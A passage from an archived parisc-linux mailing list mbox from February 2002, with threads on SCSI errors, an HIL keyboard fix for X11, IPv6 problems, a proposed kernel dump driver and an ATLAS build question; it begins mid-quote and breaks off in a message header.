>
> TIA,
> Helge
>
> This is what I got on my serial console. Sadly some things before it
> are missing:
>
> scsi0 (6:0) New error handler wants to abort command
>         0x00 00 00 00 00 00
> scsi: device set offline - not ready or command retry failed after bus
> reset: host 0 channel 0 id 6 lun 0
> scsi0 (6:0) New error handler wants to abort command
>         0x00 00 00 00 00 00
> scsi: device set offline - not ready or command retry failed after bus
> reset: host 0 channel 0 id 6 lun 0
> scsi0 (6:0) New error handler wants to abort command
>         0x00 00 00 00 00 00
> scsi: device set offline - not ready or command retry failed after bus
> reset: host 0 channel 0 id 6 lun 0
>
>
> from the dmesg:
> SCSI subsystem driver Revision: 1.00
> 53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
> scsi0: 53c710 rev 2
> scsi0 : LASI SCSI 53c700
> scsi0: (6:0) Synchronous at offset 8, period 100ns
>   Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
> scsi0: (6:0) Enabling Tag Command Queuing
> SCSI device sda: 6281856 512-byte hdwr sectors (3216 MB)
> Partition check:
>  sda: sda1 sda2 sda3 sda4




From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SOLVED: HIL keyboard problems
Date: Sun, 3 Feb 2002 20:15:13 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <200202032015.13091.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621034 2479 80.91.229.3 (22 Nov 2014 01:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  3 12:21:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 76DB0482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  3 Feb 2002 12:21:10 -0700 (MST)
Original-Received: (qmail 25134 invoked by uid 0); 3 Feb 2002 19:21:08 -0000
Original-Received: from pd904072b.dip.t-dialin.net (HELO P100) (217.4.7.43)
  by mail.gmx.net (mp011-rz3) with SMTP; 3 Feb 2002 19:21:08 -0000
X-Mailer: KMail [version 1.3.9]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13948

Hi list,

I've found a solution for the problem with the not-working "i" and "o"
keys on HIL keyboards and X11.

Just grab the files
ftp://ftp.parisc-linux.org/XFree86/HILkeyb/hp
ftp://ftp.parisc-linux.org/XFree86/HILkeyb/hp.lst
and store both to /etc/X11/xkb/rules

Then change your keyboard definition section in
/etc/X11/XF86Config-4 to contain the following lines

        Option          "XkbRules"      "hp"
        Option          "XkbModel"      "hphil"        
	Option          "CustomKeycodes" "yes"

and maybe:
       Option          "XkbLayout"     "de"
with "de" replaced for your language in case you have
a non-US keyboard.
btw, the CustomKeycodes = yes option does the real trick here.

Alternately you may also fetch my XF86Config-4
from ftp://ftp.parisc-linux.org/XFree86/HILkeyb/XF86Config-4
and just change the Screen-section to match your display.
Please note: My XF86Config-4 is configured to use a Microsoft 
compatible serial mouse on /dev/ttyS1 (serial port 2). 
The HIL mouse is still not supported!

Regards,
Helge




From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Display for C100?
Date: Mon, 4 Feb 2002 09:00:43 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F881542145@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621035 2484 80.91.229.3 (22 Nov 2014 01:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Aaron Macks'" <aaronm@cs.brandeis.edu.ml.to>,
	Greg Ingram <ingram@symsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 01:02:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25A1F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 01:02:03 -0700 (MST)
Original-Received: from nlntadn.ats.nld.alcatel.nl (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id g1480i600480;
	Mon, 4 Feb 2002 09:00:45 +0100 (MET)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <D3YH41Q8>; Mon, 4 Feb 2002 09:00:44 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13949

Hi,

Could be mistaken, but the last time I used this feature, I had to press the
TAB-key ...

Hans

	-----Original Message-----
	From:	Aaron Macks [SMTP:aaronm@cs.brandeis.edu.ml.to]
	Sent:	Friday, February 01, 2002 9:05 PM
	To:	Greg Ingram
	Cc:	parisc-linux@lists.parisc-linux.org
	Subject:	Re: [parisc-linux] Display for C100?

	are you sure that your monitor can support 1280x1024?
	that sounds like the problem.  As I recall, you can switch boot-up 
	modes using the shift key.  Once you can see STI bootup on the 
	monitor, linux should read the settings
	Aaron
	>Gentlemen,
	>
	>When I bought my C100 about a year ago the sales critter claimed
the
	>graphics card could drive a run of the mill monitor.  It has a
standard
	>SVGA connector.  I've hooked up a couple of displays to no avail.
Here's
	>what seem to be the relevant kernel boot messages:
	>
	>[...]
	>18. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4,
0x0, 0x77
	>[...]
	>36. Coral SGC Graphics (10) at 0xf6000000 [10/20], versions 0x4,
0x0, 0x77
	>[...]
	>STI byte mode ROM at f6000000, hpa=f6000000
	>STI byte mode ROM, id 2bcb015a-9a02587, conforms to spec rev. 8.04
	>STI device: HPA4071A
	>Console: switching to colour frame buffer device 160x64
	>fb0: stifb 1280x1024-32 frame buffer device, id: 2bcb015a, mmio:
0xf6100000
	>
	>Would anyone know what kind of monitor I need?
	>
	>Regards,
	>
	>- Greg
	>
	>
	>
	>
	>
	>_______________________________________________
	>parisc-linux mailing list
	>parisc-linux@lists.parisc-linux.org
	>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


	-- 
	_______________________________________________________
	Aaron Macks(aaronm@cs.brandeis.edu)
	My sheep has seven gall bladders, that makes me the King of the
Universe!

	_______________________________________________
	parisc-linux mailing list
	parisc-linux@lists.parisc-linux.org
	http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: IPv6 Sparc64
Date: Mon, 4 Feb 2002 10:06:02 +0100 (CET)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0202041002120.2571-100000@www2.scram.de>
References: <Pine.LNX.4.44-Blink.0202040829140.19625-100000@deepthought.blinkenlights.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621035 2495 80.91.229.3 (22 Nov 2014 01:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:35 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Sten <sten@blinkenlights.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 02:06:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23873482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 02:06:12 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g14963919224;
	Mon, 4 Feb 2002 10:06:03 +0100 (CET)
In-Reply-To: <Pine.LNX.4.44-Blink.0202040829140.19625-100000@deepthought.blinkenlights.nl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13950

Hi Sten,

> I have been trying to get ipv6 to work
> on sparc64/kernel 2.4 but it looks like it
> is broken somewhere in the kernel.
> I was wondering if this was a known problem.

> [root@towel ip]# ping6 ::1
> PING ::1(::1) from ::1 : 56 data bytes

It's the same on PARISC. However, on PARISC, although ping6 doesn't work,
telnet etc do work, as well as pinging the PARISC box from an Intel or
Alpha machine.

For now, i assume there might be an endianess issue in net/ipv6/raw.c
somewhere... Has anyone tested IPv6 on m68k?

Cheers,
Jochen




From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sten <sten@blinkenlights.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: IPv6 Sparc64
Date: Mon, 4 Feb 2002 11:58:10 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44-Blink.0202041155020.19625-100000@deepthought.blinkenlights.nl>
References: <Pine.NEB.4.33.0202041002120.2571-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621035 2501 80.91.229.3 (22 Nov 2014 01:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:35 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 03:51:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from deepthought.blinkenlights.nl (deepthought.blinkenlights.nl [62.58.162.228])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1901C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 03:51:22 -0700 (MST)
Original-Received: by deepthought.blinkenlights.nl (Postfix, from userid 101)
	id 58C441594; Mon,  4 Feb 2002 11:58:10 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by deepthought.blinkenlights.nl (Postfix) with ESMTP
	id 377CA2459; Mon,  4 Feb 2002 11:58:10 +0100 (CET)
In-Reply-To: <Pine.NEB.4.33.0202041002120.2571-100000@www2.scram.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13951

On Mon, 4 Feb 2002, Jochen Friedrich wrote:

> > I have been trying to get ipv6 to work
> > on sparc64/kernel 2.4 but it looks like it
> > is broken somewhere in the kernel.
> > I was wondering if this was a known problem.
>
> > [root@towel ip]# ping6 ::1
> > PING ::1(::1) from ::1 : 56 data bytes
>
> It's the same on PARISC. However, on PARISC, although ping6 doesn't work,
> telnet etc do work, as well as pinging the PARISC box from an Intel or
> Alpha machine.

The reason I ask this is because I have been trying to setup a
tunnel, and I cant get it to work either with ifconfig or iproute.

[root@towel ip]# ip tunnel add blink mode sit remote x.x.x.x dev
eth0
ioctl: Invalid argument

-- 
Sten Spans

  "What does one do with ones money,
   when there is no more empty rackspace ?"




From - Thu Nov 08 21:21:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dump driver for parisc-linux: patch vs CVS
Date: Mon, 04 Feb 2002 12:54:50 +0100
Organization: H.P
Lines: 61
Approved: news@gmane.org
Message-ID: <3C5E768A.573CC5A2@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------37DFD4303330351644CC9096"
X-Trace: ger.gmane.org 1416621036 2509 80.91.229.3 (22 Nov 2014 01:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:36 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 04:57:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35E6D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 04:57:45 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id DC33B395
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 12:57:42 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id MAA19483 for <parisc-linux@lists.parisc-linux.org>; Mon, 4 Feb 2002 12:57:06 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13952

This is a multi-part message in MIME format.
--------------37DFD4303330351644CC9096
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi.
I've a dump driver available for 2.4.17-pa3 and I'll
upgrade my source to latest CVS bits and redo the 
modifications. But do you think it is possible to
put in the CVS these modifications ? 
I have modified:
./Makefile 
./arch/parisc/config.in
./arch/parisc/kernel/traps.c
./arch/parisc/mm/init.c
./drivers/Makefile 
./drivers/char/sysrq.c
./init/main.c
./kernel/ksyms.c
./kernel/panic.c
./kernel/sched.c

And I've added:
./include/linux/dump.h 
./drivers/dump/Makefile
./drivers/dump/dump_base.c
./drivers/dump/dump_rle.c
./drivers/dump/dump_parisc.c

So my question: 
-Do you think it is a good idea to have a dump driver available 
in the standart kernel ?
-If yes, who is able to do the code review, and put this dump 
module in the CVS ?

	Thanks.
 
-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------37DFD4303330351644CC9096
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------37DFD4303330351644CC9096--




From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump driver for parisc-linux: patch vs CVS
Date: Mon, 4 Feb 2002 07:38:17 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20020204153817.GI604@tausq.org>
References: <3C5E768A.573CC5A2@admin.france.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621036 2515 80.91.229.3 (22 Nov 2014 01:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:36 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 08:38:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id E9576482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 08:38:27 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id auvglaaa for parisc-linux@lists.parisc-linux.org; Mon, 4 Feb 2002 08:38:17 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16XlCD-0008M9-00; Mon, 04 Feb 2002 07:38:17 -0800
Content-Disposition: inline
In-Reply-To: <3C5E768A.573CC5A2@admin.france.hp.com>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13953

> -Do you think it is a good idea to have a dump driver available 
> in the standart kernel ?
> -If yes, who is able to do the code review, and put this dump 
> module in the CVS ?

The usual procedure as I understand it is to post a diff to this list
(cvs diff -uNp from the root of your linux tree). People will try it
out/post comments and once that is done someone can check this in for
you.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ATLAS compile under 0.93?
Date: Mon, 4 Feb 2002 10:38:36 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <a05100309b8845afe9aca@[129.64.46.83]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416621036 2540 80.91.229.3 (22 Nov 2014 01:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 08:47:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05118482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 08:47:55 -0700 (MST)
Original-Received: from [129.64.46.83] (dhcp-129.64.46.83.cs-i.brandeis.edu [129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id g14Flr715685
	for <parisc-linux@lists.parisc-linux.org>; Mon, 4 Feb 2002 10:47:53 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13954

has anyone sucessfully compiled ATLAS(http://www.netlib.org/atlas) 
under PARISC linux?  I got it to go most of the way, but then crashed 
in the second opt stage.  I'm going to email off an error report, but 
wantedd to check if anyone else has played with it
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ATLAS compile under 0.93?
Date: Mon, 4 Feb 2002 08:37:25 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20020204163725.GE624@tausq.org>
References: <a05100309b8845afe9aca@[129.64.46.83]>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621037 2554 80.91.229.3 (22 Nov 2014 01:50:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 09:37:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 043A8482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 09:37:32 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id bkwglaaa for parisc-linux@lists.parisc-linux.org; Mon, 4 Feb 2002 09:37:25 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16Xm7R-0008QW-00; Mon, 04 Feb 2002 08:37:25 -0800
Content-Disposition: inline
In-Reply-To: <a05100309b8845afe9aca@[129.64.46.83]>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
